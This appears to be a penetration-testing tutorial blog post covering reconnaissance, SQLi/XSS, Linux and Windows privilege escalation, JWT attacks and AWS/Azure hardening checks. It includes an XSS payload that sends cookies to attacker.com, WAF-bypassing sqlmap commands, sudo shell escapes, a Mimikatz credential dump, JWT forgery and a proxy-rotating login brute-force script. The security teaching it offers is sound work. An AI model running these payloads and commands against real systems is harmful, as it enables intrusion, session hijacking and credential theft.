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Introduction:
Security assessments are systematic evaluations of an organization’s infrastructure, applications, and policies to identify vulnerabilities before attackers do. After completing 300+ assessments on platforms like Cobalt.io, security professionals develop an intuitive grasp of attack patterns, misconfigurations, and remediation strategies that textbook learning alone cannot provide. This article distills technical workflows, commands, and hardening techniques from real-world pentesting experience into actionable knowledge.
Learning Objectives:
- Execute a full security assessment lifecycle from reconnaissance to reporting using Cobalt.io methodologies
- Apply Linux and Windows privilege escalation commands used in 300+ real assessments
- Implement API security and cloud hardening techniques to mitigate the most common findings
You Should Know:
- Reconnaissance & Attack Surface Mapping – The First 30 Minutes
Every assessment begins with passive and active reconnaissance. Start by enumerating subdomains, open ports, and exposed services. Below is a typical workflow used in Cobalt.io assessments.
Linux Commands for Reconnaissance:
Subdomain enumeration using assetfinder echo "target.com" | assetfinder -subs-only | tee subdomains.txt Resolve live hosts cat subdomains.txt | httpx -silent -threads 100 -o live_hosts.txt Port scanning with masscan (high-speed) sudo masscan -p1-65535 --rate=1000 -iL live_hosts.txt -oJ masscan.json Detailed Nmap scan on discovered ports nmap -sC -sV -p 80,443,8080,8443 -iL live_hosts.txt -oA nmap_scan
Windows PowerShell Equivalent:
Test-NetConnection for port scanning
$ports = @(80,443,8080,8443)
$hosts = Get-Content live_hosts.txt
foreach ($h in $hosts) { foreach ($p in $ports) { Test-NetConnection $h -Port $p -InformationLevel Quiet } }
Resolve DNS records
Resolve-DnsName target.com -Type A | Select-Object IPAddress
Step‑by‑step guide:
- Identify the target scope (domains, IP ranges) from the engagement rules.
- Run assetfinder to collect subdomains from certificate transparency logs and DNS.
- Use httpx to filter live web services – this reduces noise.
- Perform rapid port scanning with masscan (be mindful of engagement rules to avoid DoS).
- Follow up with Nmap service version detection on open ports to identify potential attack vectors like outdated Apache, nginx, or exposed RDP.
-
Web Application Vulnerability Deep Dive – SQLi & XSS
SQL injection and cross-site scripting remain top findings across 300+ assessments. Below are manual testing commands and automation snippets.
Manual SQLi Testing with sqlmap:
Capture request with Burp Suite or curl, save as req.txt sqlmap -r req.txt --batch --level=3 --risk=2 --dbs --tamper=space2comment For Windows targets with WAF, use tamper scripts sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase --random-agent --threads=5
XSS Payloads for Validation:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
<img src=x onerror=alert(document.domain)>
<
svg/onload=alert('XSS')>
Step‑by‑step guide:
- Identify input vectors: URL parameters, POST bodies, headers, and file upload fields.
- Inject a single quote (
') and observe error messages – a database error indicates potential SQLi. - Run sqlmap with `–batch` for automated exploitation; use `–tamper` to bypass WAFs.
- For XSS, test each input with `` and monitor if the payload is reflected unencoded.
- If confirmed, escalate to session hijacking or CSRF token theft.
3. Privilege Escalation on Linux – Post-Exploitation Techniques
After gaining initial access, privilege escalation is critical. The following commands have been used in over 200 assessments to root or admin access.
Enumeration Scripts:
LinPEAS – automatic privilege escalation checker wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh chmod +x linpeas.sh ./linpeas.sh -a > linpeas_output.txt Manual checks sudo -l List allowed sudo commands find / -perm -4000 -type f 2>/dev/null SUID binaries cat /etc/crontab Check cron jobs
Exploiting sudo misconfigurations:
If sudo allows any command, spawn root shell sudo su - If sudo allows vim, escape to shell sudo vim -c ':!/bin/bash'
Step‑by‑step guide:
- Upload linpeas.sh to the target (via wget or scp) and execute – it highlights misconfigurations.
- Check `sudo -l` – look for binaries like
find,awk,python, `vim` that allow command execution. - Search for world-writable files in system directories:
find / -writable -type f 2>/dev/null | grep -v proc. - Review crontab – if a script is writable by your user, inject a reverse shell.
- For kernel exploits, run `uname -a` and search Exploit-DB, but prioritize configuration flaws first.
4. Windows Privilege Escalation & Active Directory Hardening
Windows environments often expose misconfigured services, unquoted service paths, and weak permissions. These are top findings in Cobalt.io internal network assessments.
PowerShell Commands for Enumeration:
Whoami and privileges
whoami /priv
whoami /groups
Unquoted service paths
Get-WmiObject win32_service | Select-Object Name, PathName | Where-Object {$<em>.PathName -notlike '"'} | Where-Object {$</em>.PathName -like ' '}
Check for always-install elevated MSI
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
Dump stored credentials
cmdkey /list
Mimikatz for Credential Dumping (authorized use only):
Load Mimikatz on memory mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" > creds.txt
Step‑by‑step guide:
- Enumerate current user privileges with `whoami /priv` – look for SeImpersonate, SeDebug, or SeTakeOwnership.
- Identify unquoted service paths – if the path contains spaces and no quotes, you can hijack the service.
- Check AlwaysInstallElevated registry keys – if both are 1, any user can install MSI as SYSTEM.
- Use `cmdkey /list` to see saved credentials; then run Mimikatz to extract plaintext passwords from LSASS.
- For Active Directory, use `BloodHound` (SharpHound collector) to map attack paths.
-
API Security – JWT & Rate Limiting Bypasses
With modern applications heavily relying on APIs, insecure direct object references (IDOR) and JWT misconfigurations are prevalent. Over 150 assessments revealed broken object-level authorization.
JWT Exploitation Commands:
Decode JWT without verification echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiYWRtaW4ifQ.signature" | cut -d"." -f2 | base64 -d Crack weak JWT secret with hashcat hashcat -m 16500 -a 0 jwt.txt rockyou.txt None algorithm attack – modify header Change "alg":"HS256" to "alg":"none", remove signature
Rate Limiting Bypass with Python:
import requests
from itertools import cycle
proxies = cycle(['proxy1:port','proxy2:port'])
for i in range(1000):
proxy = next(proxies)
requests.post('https://api.target.com/login', data={'user':f'test{i}','pass':'pass'}, proxies={'http':proxy,'https':proxy})
Step‑by‑step guide:
- Capture a valid JWT from the API request. Decode the payload – if `alg` is HS256 and secret is weak (e.g., “secret”), crack it with hashcat.
- If `alg` is none, simply remove the signature part to forge tokens.
- For IDOR, change numeric IDs in API paths (
/api/user/123to/api/user/124) and check if you can access another user’s data. - Test rate limiting by sending multiple rapid requests – if successful, you can brute-force OTPs or user enumeration.
- Use a rotating proxy list to bypass IP-based rate limiting.
6. Cloud Hardening – AWS & Azure Misconfigurations
Cloud misconfigurations (open S3 buckets, overly permissive IAM roles) are consistently in the top 5 findings. Use these commands to audit and harden.
AWS CLI Hardening Checks:
List publicly accessible S3 buckets
aws s3api list-buckets --query "Buckets[].Name" --output text | xargs -I {} aws s3api get-bucket-acl --bucket {} --query "Grants[?Grantee.URI=='http://acs.amazonaws.com/groups/global/AllUsers']"
Check for unused IAM roles
aws iam list-roles --query "Roles[?RoleLastUsed==null].RoleName"
Enforce MFA on root user (required for compliance)
aws iam get-account-summary --query "SummaryMap.AccountMFAEnabled"
Azure PowerShell Hardening:
List storage accounts with public access
Get-AzStorageAccount | Get-AzStorageContainer | Where-Object {$_.PublicAccess -ne 'Off'}
Check for overly permissive RBAC
Get-AzRoleAssignment | Where-Object {$<em>.RoleDefinitionName -eq 'Contributor' -or $</em>.RoleDefinitionName -eq 'Owner'}
Step‑by‑step guide:
- Enumerate all S3 buckets and check ACLs – any bucket with `AllUsers` read/write is a critical finding.
- Review IAM roles that have not been used in 90 days – they increase attack surface.
- Ensure MFA is enabled for the root user and all privileged IAM users.
- For Azure, ensure blob containers are not set to `PublicAccess = Container` or
Blob. - Limit RBAC assignments – replace Contributor with custom roles that have only necessary permissions.
What Undercode Say:
- Consistency in performing security assessments (300+) sharpens pattern recognition – you start seeing vulnerabilities before running tools.
- The most dangerous findings are often misconfigurations (sudo, cloud IAM, unquoted service paths) rather than zero‑days. Master the basics first.
- Automation (sqlmap, linpeas) accelerates work, but manual validation separates top pentesters from script‑kiddies. Always understand what the tool does.
Prediction:
By 2028, AI‑driven security assessments will automate 70% of low‑hanging findings (e.g., XSS, SQLi). However, business logic flaws, privilege escalation chains, and cloud misconfigurations will require human intuition – making the 300‑assessment milestone even more valuable. Platforms like Cobalt.io will evolve to integrate real‑time AI copilots that suggest remediation while the test runs, slashing average fix times from weeks to hours.
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